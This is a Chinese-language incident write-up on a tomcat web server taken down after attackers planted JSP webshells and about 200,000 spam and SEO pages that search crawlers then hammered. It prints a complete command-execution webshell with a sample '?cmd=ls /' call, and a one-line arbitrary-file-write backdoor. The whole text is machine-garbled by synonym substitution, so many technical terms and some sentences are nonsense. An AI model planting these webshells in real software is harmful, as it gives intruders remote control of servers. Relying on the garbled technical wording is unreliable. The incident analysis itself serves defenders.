网站被挂马植入webshell导致网站瘫痪案例实录

2023-01-13 0 621

一、难题现象

下午三点,刚刚睡着,就收到了顾客发来的电话,说他们的中文网站挂(那个用语很不准确,但感觉到难题的潜在性)了,查问是怎么发生的,之前做了甚么操作,顾客的提问是:甚么都没做,突然就不行了!对于这样的提问,我早已习惯,即使要想从顾客那里得到管用的进行咨询,基本上很难,即使顾客并非从业者,因此只能根据顾客的叙述,一点一点去推论难题。

透过顾客得出的那个提示信息,难题推论方向有如下表右图几个方面:

1、中文网站无法出访了,可能将服务项目down了。也可能将伺服器无法出访了。2、中文网站出访非常快,基本看不清楚,因此顾客就认为无法出访了,但此时服务项目和伺服器可能将还处于启动状况。3、顾客自身网络难题,或者DNS难题?

带着疑点,已经开始了机械故障摸查。

二、难题摸查

作为一个网络管理丘壳,我的一贯作风路子就是合乎情理,既然顾客说中文网站无法出访了,那我还需要自己试验一下,关上应用程序,输出搜索引擎,中文网站愿于无法关上,直到延时。看来确实中文网站看不清楚了。

2.1、初步摸查

接著,已经开始登入伺服器指点迷津,顾客中文网站的构架是nginx+tomcat,我首先透过ssh登入到nginx伺服器上,相连速度却是很快的,登入上去后,先执行下top指示,检查下控制系统总体运转状况,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

这是一个centos7.9的控制系统,nginx伺服器的硬体实用性是32Gb缓存,2颗8理论物理CPU,nginx透过阻抗平衡将静态、静态允诺发送到后端多个tomcat上,tomcat运转在除此之外三台独立的伺服器上,硬体实用性为2颗8理论物理CPU,64GB缓存。

从图中能看出,伺服器CPU天然资源有一定阻抗,但相对较低,32GB的缓存天然资源还较为充裕,cached了不少缓存,该些都是能使用的。除此之外16个nginx进程每个平均挤占CPU阻抗在30%-40%之间。总体来看,控制计算天然资源却是较为充裕的,初步推论,并非nginx伺服器的难题。

接著,继续登入到tomcat所在的伺服器,仍然透过top指示查阅控制系统总体天然资源状况,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

tomcat伺服器也是一个centos7.9的控制系统,控制系统总体阻抗偏高(最高14),64Gb的物理缓存,可用的仅剩下200M左右,虽然cached了48GB左右,除此之外能看到有三个java进程,每个进程挤占cpu天然资源都在100%以上,并且一直持续了几个小时,这里有些异常,最后,关注了一下,启动java进程的是apsds那个普通用户。

然后继续查阅,发现这三个java进程,其实是启动了三个tomcat实例,每个tomcat实例都是一个独立的服务项目,接著,再去查阅第二个tomcat物理伺服器,发现跟现在那个无论是硬体实用性、却是软件部署环境,都完全一致,也就是三台tomcat启动了6个tomcat实例,透过前端nginx做阻抗平衡整合,对外提供web服务项目。

2.2、第二次摸查

透过简单的一遍伺服器状况过滤,发现可能将出难题的是tomcat伺服器,于是将精力集中在tomcat伺服器上,于是,重新登入tomcat机器,查阅tomcat出访日志,透过对日志的查阅,发现了一些异常,即使有很多不熟悉的静态页面被出访,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅精彩图片

图中966.html那个页面感觉有难题,即使顾客的中文网站静态页面是自动生成的,生成的页面后缀是.htm的,而并非html,这是其一,其二,透过查阅966.html那个页面的出访次数,吓了一大跳,一天的时间,300多万次出访,这明显不正常,即使顾客中文网站平时的出访量都在10万以内,根本不可能将这么高。

接著,继续查阅出访日志,发现类似966.html的这种页面出访非常多,每个页面的出访量都很大,于是,就到/htm/966.html对应的中文网站目录下,一探究竟吧,进入中文网站根目录下的htm目录,又发现了一些异常,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

那个目录是中文网站生成的静态页面目录,能看到有基于htm的静态页面,这些页面以gk开头,是顾客中文网站自动生成的正常文件,除此之外还有很多以html结尾的静态文件,这些文件不清楚是怎么来的,此外,还看到有个1.jsp的文件,那个就更诡异了,在静态页面目录下,不可能将放一个jsp文件啊,经过与顾客的进行咨询以及与研发的沟通,确认这些以html结尾的静态文件以及1.jsp文件都并非中文网站本身生成或使用的,那么重点来了,先来看看这些文件的内容吧。

首先查阅以html结尾的静态文件内容是甚么吧,这里就以那个996.html文件为例,透过应用程序出访996.html文件,顿时,傻眼了!!!请看下图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

百度,中奖查询!!!,此时脑子的第一反应是,中文网站被置入webshell了,看来难题非常严重。

接著,继续关上1.jsp那个文件,看看那个文件到底是甚么鬼,此文件内容如下表右图:(代码仅供学习,请勿其它用途)

<%@page import=”java.io.IOException”%> <%@page import=”java.io.InputStreamReader”%> <%@page import=”java.io.BufferedReader”%> <%@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″%> <% String cmd = request.getParameter(“cmd”); System.out.println(cmd); Process process = null; List processList = new ArrayList(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = “”; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String s = “”; for (String line : processList) { s += line + “\n”; } if (s.equals(“”)) { out.write(“null”); }else { out.write(s); } %>

好嘛,稍懂程序的人都能看出,这是一个WebShell木 马后门,它能干啥,先来试试,就知道了,关上应用程序,出访:http://ip/htm/1.jsp?cmd=ls /,

如下表右图图右图:
网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

这并非我的伺服器根目录吗,然后将”cmd=“后面的字符替换成任意linux下可执行的指示,都能正常执行,这就是浏览器下的指示行啊!!!

再执行一个写操作看看,在应用程序出访如下表右图地址:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

[apsds@tomcatserver1 htm]$ pwd /usr/local/tomcat/webapps/root/htm [apsds@tomcatserver1 htm]$ ll test.html -rw-r—– 1 apsds apsds 0 10月 16 10:57 test.html

看到了吧,成功写入。

不过却是较为幸运的,即使tomcat进程是透过普通用户apsds启动的,因此透过那个1.jsp只能在apsds用户权限下进行添加、删除操作,如果tomcat是以root用户启动的话,那难题就更严重了,即使那个1.jsp能对控制系统下任意文件或目录进行修改、删除操作了,其实相当于应用程序的root权限操作了。

到这里为止,好像难题正在逐渐浮出水面。

但,我们高兴太早了,上个文件还没完全搞清楚,新的难题又来了,我们在查询顾客中文网站搜索权重的时候,新的难题出现了,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

这是在搜索引擎搜到的顾客中文网站内容,很明显,顾客中文网站被置入了非法内容,然后被搜索引擎收录了,点开搜索出来的任意一个页面,内容如下表右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

经过分析,能发现,那个页面的部分内容被替换了,替换的内容都是一些中文网站的关键字,应该是黑帽SEO的手段。

这里说到了搜索引擎,突然意识到,此次的机械故障,是否跟搜索引擎有关系呢?

整理了一下路子,感觉应该是这样的:

1、中文网站应该有程序漏洞,在互联网被扫描到,然后注入了webshell。 2、骇客透过webshell置入了大量广告、推销网页。 3、即使中文网站(gov中文网站)权重较为高,因此搜索引擎较为喜欢来访 4、大量广告、推销网页被搜索引擎抓取,导致中文网站出访量激增。 5、顾客的中文网站是nginx+多个tomcat实现的阻抗平衡,所有静态、静态页面允诺都交给tomcat来处理,当出现大量静态允诺时,可能将会导致tomcat 无法响应。即使tomcat处理静态允诺性能很差。2.3、第三次摸查

带着上面那个路子,继续进行摸查,步骤如下表右图:

1、摸查中文网站上被注入的html页面的数量

透过find查找、过滤,发现被置入的html页面有两类,分别是百度虚假中奖广告页面和黑帽seo关键字置入页面。

两种类型的html页面,总共有20w个左右,那个数量相当惊人。

2、摸查中文网站出访日志

透过对tomcat出访日志的统计和分析,发现每天对这些注入页面的出访量超过500w次,并且几乎全部是透过搜索引擎过来的流量,做了个简单的过滤统计,结果如下表右图:

[root@tomcatserver1 logs]# cat access_log.txt|grep Baiduspider|wc -l 596650 [root@tomcatserver1 logs]# cat access_log.txt|grep Googlebot|wc -l 540340 [root@tomcatserver1 logs]# cat access_log.txt|grep 360Spider|wc -l 63040 [root@tomcatserver1 logs]# cat access_log.txt|grep bingbot|wc -l 621670 [root@tomcatserver1 logs]# cat access_log.txt|grep YisouSpider|wc -l 3800100 [root@tomcatserver1 logs]# cat access_log.txt|grep Sogou|wc -l 533810

其中,Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必应蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛,其中,YisouSpider过来抓取的量最大,正常来说,蜘蛛抓取不应该这么频繁啊,于是简单搜索了一下YisouSpider那个蜘蛛,如下表右图图右图:

网站被挂马植入webshell导致网站瘫痪案例实录
关上腾讯新闻 查阅TNUMBERBX

看来是个流氓蜘蛛,网络上对那个YisouSpider的蜘蛛骂声一片。

3、查阅nginx错误日志

透过查阅nginx错误日志,发现有大量相连返回延时允诺(502错误),也就是说,nginx把允诺交给tomcat后,tomcat迟迟不返回,导致返回延时,出现502 bad gateway错误。那个很明显是tomcat无法响应允诺导致的。

那么就来看看tomcat伺服器上的相连数情况:

[root@tomcatserver1 logs]# netstat -n | awk /^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]} TIME_WAIT 125300 CLOSE_WAIT 12 FIN_WAIT1 197 FIN_WAIT2 113 ESTABLISHED 13036 SYN_RECV 115 CLOSING 14 LAST_ACK 17

这里其实只需要关注三种状况即可:ESTABLISHED表示正在通信,TIME_WAIT表示主动关闭,正在等待远程套接字的关闭传送,CLOSE_WAIT表示远程被动关闭,正在等待关闭那个套接字。

从输出可知,伺服器上保持了大量TIME_WAIT状况和ESTABLISHED状况,大量的TIME_WAIT,应该是tomcat无法响应允诺,然后延时,主动关闭了相连,导致出现TIME_WAIT,种种迹象表明,tomcat无法处理这么大的相连允诺,导致响应缓慢,最终服务项目出现无响应。

透过这三个方面的摸查,基本验证了自己的路子,那么难题也随即找到了。

三、解决难题

中文网站有漏洞,然后被注入webshell,继而被上传了大量广告、推广网页,导致搜索引擎疯狂抓取,最终导致脆弱的tomcat不堪重负,失去响应,这是此次机械故障发生的根本原因。

1、修复中文网站程序漏洞

要解决那个难题,首选要做的是找到中文网站漏洞,研发介入传了一个webshell,进而控制了操作控制系统。

研发在第一时间修复了那个漏洞,然后就是网络管理的干活时间了。

我们首先在伺服器上进行了网页扫描,主要扫描html为后缀的文件,然后全部删除(即使我们的网页都是以.htm结尾),同时删除了那个1.jsp文件,并继续查找和检查其它可疑的jsp文件,检查过程中又发现了一个jsp后门,基本特征码如下表右图:(代码仅供学习)

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>

然后果断删除。不留后患。

2、禁封网络蜘蛛

网络上的蜘蛛、爬虫很多,有些是正规的,有些是流氓,适当的网络蜘蛛抓取对中文网站权重、流量有益,而那些流氓的蜘蛛必须要禁止,要实现禁封网络蜘蛛,在nginx下可透过如下表右图实用性实现:

server { listen 80; server_name 127.0.0.1; #添加如下内容即可防止爬虫 if ($http_user_agent ~* “qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot”) { return 403; }

这样,当蜘蛛过来爬取你中文网站的时候,直接给他返回一个403错误,这里禁止了很多网络蜘蛛,如果你还需要蜘蛛的话,可保留几个较为正规的,例如谷歌蜘蛛和百度蜘蛛即可,其实一律封掉。

上面那个办法有点简单粗暴,但最有效,其实还能在中文网站更目录下增加Robots.txt文件,在那个文件中我们能声明该中文网站中不想被robots出访的部分,或者指定搜索引擎只收录指定的内容。

robots.txt是搜索引擎中出访中文网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在伺服器上甚么文件是能被查阅和抓取的,当一个搜索蜘蛛出访一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索蜘蛛就会按照该文件中的内容来确定出访的范围;如果该文件不存在,所有的搜索蜘蛛将能够出访中文网站上所有没有被口令保护的页面。

Robots协议是国际互联网界通行的道德规范,请注意,是道德标准,因此,如果搜索引擎不遵守约定的Robots协议,那么透过在中文网站下增加robots.txt也是不起作用的。

目前的网络蜘蛛大致分为4种: (1)、真名真姓,遵循robots.txt协议。 (2)、真名真姓,不遵循robots.txt协议。 (3)、匿名,不遵循robots.txt协议。 (4)、伪装:不遵循robots.txt协议。

目前看来,绝大多数的搜索引擎机器人都遵守robots.txt规则的。但一些不知名的网络蜘蛛就会经常耍流氓,对待这种蜘蛛,建议使用上面nginx下实用性的规则,直接给它deny了。

下面看几个robots.txt实用性例子

(1)、允许所有的robot出访

User-agent: * Disallow:

(2)、禁止所有搜索引擎出访中文网站的任何部分

User-agent: * Disallow: /

(3)、禁止所有搜索引擎出访中文网站的几个部分(下例中的a、b、c目录)

User-agent: * Disallow: /a/ Disallow: /b/ Disallow: /c/

(4)、禁止某个搜索引擎的出访(下例中的YisouSpider)

User-agent: YisouSpider Disallow: /

(5)、只允许某个搜索引擎的出访(下例中的Googlebot)

User-agent: Googlebot Disallow: User-agent: * Disallow: /

透过Robots.txt文件方法去现在搜索引擎,是一个防君子不防小人的方法,碰到流氓蜘蛛就没辙了,有些无耻的搜索引擎根本不看中文网站的robots.txt,一路狂抓下去,实在另人发指。

3、调整中文网站的web构架

即使tomcat处理静态天然资源能力很低,因此,能将静态天然资源交给nginx来处理,静态天然资源交给tomcat处理,透过这种动、静分类方式,能大大提高中文网站的抗压性能。

我们采用的方式是将tomcat生成的htm文件放到一个共享磁盘分区,然后在nginx伺服器上透过nfs挂载那个磁盘分区,这样nginx就能直接出访这些静态文件。

透过上面三个步骤的操作,中文网站在半个小时内阻抗下降,很快恢复正常了。

安全难题不容忽略,那个事例是个典型的中文网站漏洞导致WebShell注入的例子,如何处理这类难题的路子和流程,是本文要传达给大家的核心知识。

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务